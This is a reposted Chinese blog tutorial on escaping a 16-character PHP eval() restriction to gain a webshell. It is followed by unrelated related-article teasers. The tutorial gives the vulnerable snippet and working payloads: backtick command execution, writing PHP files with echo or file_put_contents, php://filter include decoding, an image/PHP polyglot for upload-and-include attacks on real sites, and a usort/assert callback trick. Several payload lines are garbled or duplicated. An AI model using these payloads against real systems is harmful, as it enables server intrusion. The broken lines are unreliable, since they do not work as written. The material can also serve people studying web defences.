EVAL長度限制突破方法

EVAL長度限制突破方法

<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //長度小于17,沒有eval和assert關鍵字
{eval($param);
}
//stripos — 查找字符串首次出現的位置(不區分大小寫)

在這里插入圖片描述

eval函數參數限制在16個字符的情況下,如何拿到Webshell?

`$_GET[1]’

相似答案:

exec($_GET[1]); 

linux下反引號可以執行命令

?param=echo $_GET[0];&0=id

在這里插入圖片描述

那么就可以寫一些內容到一些文件里去

在這里插入圖片描述

再訪問一下

param=echo%20$_GET[0];&0=param=echo $_GET[0];&0=echo ‘<?php phpinfo();’ > a.php

寫入成功

在這里插入圖片描述

也可以使用base64編碼寫入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php

param=$_GET1;

param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents將數據寫入文件
......
最后把PD9waHAgcGhwaW5mbygpOw寫進文件N。
那怎么解碼執行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read讀取N里面的內容進行base64解碼。雖然N不是php文件,但是文件包含可以把任意一個文件里面的php代碼執行起來php:// — 訪問各個輸入/輸出流(I/O streams)
php://filter是一種元封裝器, 設計用于數據流打開時的篩選過濾應用。(可用的過濾器:字符串過濾器、轉換過濾器、壓縮過濾器、加密過濾器)
這里用轉換過濾器:convert.base64-encode 和 convert.base64-decode。使用這兩個過濾器等同于分別用 base64_encode()base64_decode() 函數處理所有的流數據。
文件包含

找一張普通圖片

在這里插入圖片描述

寫一個php文件
在這里插入圖片描述

copy /b 001.png + web.php /a web.jpg----------/b → 表示以二進制模式處理 001.png

? + → 表示合并文件。

? web.php→ 第二個文件。

? /a→ 表示以 ASCII 文本模式 處理 web.php。

? web.jpg → 最終輸出的文件名。

在這里插入圖片描述

web.jpg可以正常打開看到圖片,使用記事本打開圖片,可以在文件的最后看到寫入的php代碼。

在這里插入圖片描述

很多網站都有上傳圖片的功能(上傳頭像等),上傳之后檢查代碼就可以看到上傳的路徑,用include_$GET[‘文件路徑’]就可以了。

在這里插入圖片描述

在這里插入圖片描述

文件包含可以把任意一個文件里面的php代碼執行起來

在這里插入圖片描述

usort(…$_GET);

?1[]=test&1[]=phpinfo();&2=assert

在windows上訪問

在這里插入圖片描述

使用BurpSuite抓包

在這里插入圖片描述

抓到之后發送給Repeater,然后轉換為POST

在這里插入圖片描述

在這里插入圖片描述

在php的整體運行流程中允許POST和GET同步執行

(…$_GET(變長參數))把1[]=test&1[]=phpinfo();&2=assert接過來了,然后就放到usort中,一個數組,一個回調函數。

在這里插入圖片描述

發送

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/90282.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/90282.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/90282.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux部署.net Core 環境

我的環境 直接下載安裝就可以了 wget https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-x64.tar.gzmkdir -p $HOME/dotnet && tar zxf dotnet-sdk-8.0.315-linux-x64.tar.gz -C $HOME/dotnet export DOTNET_ROOT$HOME/dotnet expor…

ARM-定時器-PWM通道輸出

學習內容需求點亮4個燈&#xff0c;采用pwm的方式。定時器通道引腳AFLED序號T3CH0PD12AF2LED5CH1PD13AF2LED6CH2PD14AF2LED7CH3PD15AF2LED8實現LED5, LED6, LED7, LED8呼吸燈效果通用定時器多通道點亮T3定時器下的多個通道的燈。開發流程添加Timer依賴初始化PWM相關GPIO初始化P…

javaSE(List集合ArrayList實現類與LinkedList實現類)day15

目錄 List集合&#xff1a; 1、ArrayList類&#xff1a; &#xff08;1&#xff09;數據結構&#xff1a; &#xff08;2&#xff09;擴容機制 &#xff08;3&#xff09;ArrayList的初始化&#xff1a; &#xff08;4&#xff09;ArrayList的添加元素方法 &#xff08;5…

解決 WSL 中無法訪問 registry-1.docker.io/v2/,無法用 docker 拉取 image

文章目錄無法拉取docker鏡像補充遷移 WSL 位置Install Docker無法拉取docker鏡像 docker run hello-world Unable to find image hello-world:latest locally docker: Error response from daemon: Get "https://registry-1.docker.io/v2/": context deadline excee…

【C++】簡單學——list類

模擬實現之前需要了解的概念帶頭雙向鏈表&#xff08;double-linked&#xff09;&#xff0c;允許在任何位置進行插入區別相比vector和string&#xff0c;多了這個已經沒有下標[ ]了&#xff0c;因為迭代器其實才是主流&#xff08;要包頭文件<list>&#xff09;方法構造…

Qt 國際化與本地化完整解決方案

在全球化的今天&#xff0c;軟件支持多語言和本地化&#xff08;Internationalization & Localization&#xff0c;簡稱i18n & l10n&#xff09;已成為基本需求。Qt提供了一套完整的解決方案&#xff0c;幫助開發者輕松實現應用程序的國際化支持。本文將從原理到實踐&a…

MNIST 手寫數字識別模型分析

功能概述 這段代碼實現了一個基于TensorFlow和Keras的MNIST手寫數字識別模型。主要功能包括&#xff1a; 加載并預處理MNIST數據集構建一個簡單的全連接神經網絡模型訓練模型并評估其性能使用訓練好的模型進行預測保存和加載模型 代碼解析 1. 導入必要的庫 import matplot…

進階系統策略

該策略主要基于價格動態分析,結合多種技術指標和數學計算來生成交易信號。其核心邏輯包括: 1. 價格極值計算:首先,策略計算給定周期(由`Var3`定義)內的最高價和最低價,分別存儲在`Var12`和`Var13`中。這一步驟旨在捕捉價格的短期波動范圍。 2. 相對位置計算:接著,策…

【Linux內核】Linux驅動開發

推薦書籍&#xff1a; 《Linux內核探秘&#xff1a;深入解析文件系統和設備驅動的架構與設計》 知識點 x86的IO地址空間和內存地址空間是獨立的兩套地址空間&#xff0c;并且使用不同的指令訪問。MOV, IN, OUT。內存映射I/O可以將IO映射到內存。ARM等RISC采用統一編編址&#x…

MySQL用戶管理(15)

文章目錄前言一、用戶用戶信息創建用戶修改密碼刪除用戶二、數據庫的權限MySQL中的權限給用戶授權回收權限總結前言 其實與 Linux 操作系統類似&#xff0c;MySQL 中也有 超級用戶 和 普通用戶 之分 如果一個用戶只需要訪問 MySQL 中的某一個數據庫&#xff0c;甚至數據庫中的某…

react19相關問題和解答

目錄 1. react19將ref放在了props中(不再需要 forwardRef),那么是不是可以通過ref獲取子組件的全部變量了? 我的子組件的useImperativeHandle還需要定義嗎? 1.1. ref 在 props 中的本質變化 1.2. 為什么不能訪問全部變量? 2. In HTML,cannot be a descendant of. Thi…

Code Composer Studio:CCS 設置代碼折疊

Code Composer Studio&#xff1a;設置代碼折疊,可以按函數&#xff0c;if, 等把代碼折疊起來。1.2.開啟折疊選項3.開啟后&#xff0c;如果文件已經打開&#xff0c;要關掉重新打開文件就可以開到折疊功能生效。

JMeter groovy 編譯成.jar 文件

groovy 編譯 一、windows 下手動安裝Groovy 下載 Groovy 二進制包 前往官網&#xff1a;https://groovy.apache.org/download.html 下載 Binary release&#xff08; https://groovy.jfrog.io/ui/native/dist-release-local/groovy-zips/apache-groovy-sdk-4.0.27.zip &#xf…

使用maven-shade-plugin解決依賴版本沖突

項目里引入多個版本依賴時&#xff0c;最后只會使用其中一個&#xff0c;一般可以通過排除不使用的依賴處理&#xff0c;但是如果需要同時使用多個版本&#xff0c;可以使用maven-shade-plugin解決。以最典型的poi為例&#xff0c;poi版本兼容性很低&#xff0c;如果出現找不到…

[CH582M入門第十一步]DS18B20驅動

學習目標: 1、介紹DS18B20 2、學習單總線 3、學習DS18B20程序驅動一、DS18B20介紹 DS18B20 是一款由 Maxim Integrated(原Dallas Semiconductor) 推出的 數字溫度傳感器,以其單總線(1-Wire)通信協議、高精度和廣泛應用而聞名。以下是其核心特點和應用介紹: 主要特性 數…

SGLang + 分布式推理部署DeepSeek671B滿血版

部署設備&#xff1a;28A100 80G&#xff0c;兩臺機器&#xff0c;每臺機器8張A100。 模型&#xff1a;deepseek-671B-int8 模型下載地址&#xff1a;https://huggingface.co/meituan/DeepSeek-R1-Block-INT8 模型參考&#xff1a; 1、SGLang Docker部署 github地址&#…

PCL 間接平差擬合球

目錄 一、算法原理 1、計算流程 2、參考文獻 二、代碼實現 三、結果展示 本文由CSDN點云俠原創,首發于2025年7月24日。博客長期更新,本文最新更新時間為:2025年7月24日。 一、算法原理 1、計算流程 空間球方程: ( x ? a ) 2 + ( y ? b ) 2 + ( z ? c ) 2 = R 2 (1) (…

基于 HAProxy 搭建 EMQ X 集群

負載均衡器&#xff08;LB&#xff09;負責分發設備的 MQTT 連接與消息到 EMQ X 集群&#xff0c;采用 LB 可以提高 EMQ X 集群可用性、實現負載平衡以及動態擴容。 HAProxy簡介 HAProxy 是一款高性能的 開源負載均衡器 和 反向代理服務器&#xff0c;主要用于在多個服務器之…

RISC-V基金會Datacenter SIG月會圓滿舉辦,探討RAS、PMU性能分析實踐和經驗

一直以來&#xff0c;龍蜥社區在 RISC-V 生態建設中持續投入&#xff0c;并積極貢獻上游社區。多位龍蜥社區成員在 RISC-V 國際基金會擔任主席/副主席角色&#xff0c;與來自阿里云、阿里達摩院、中興通訊、浪潮信息、中科院軟件所、字節跳動、Google、 MIT、Akeana 等企業的專…

CloudComPy使用PyInstaller打包后報錯解決方案

情況描述 筆者在spec文件中&#xff0c;datas變量設置如下。如果你的報錯類似于“找不到cloudComPy”&#xff0c;先嘗試如下的設置。 datas[(CloudCompare,cloudComPy)], 筆者在打包完成后&#xff0c;打開軟件發現報錯&#xff1a; from cloudComPy import* ModuleNotFoun…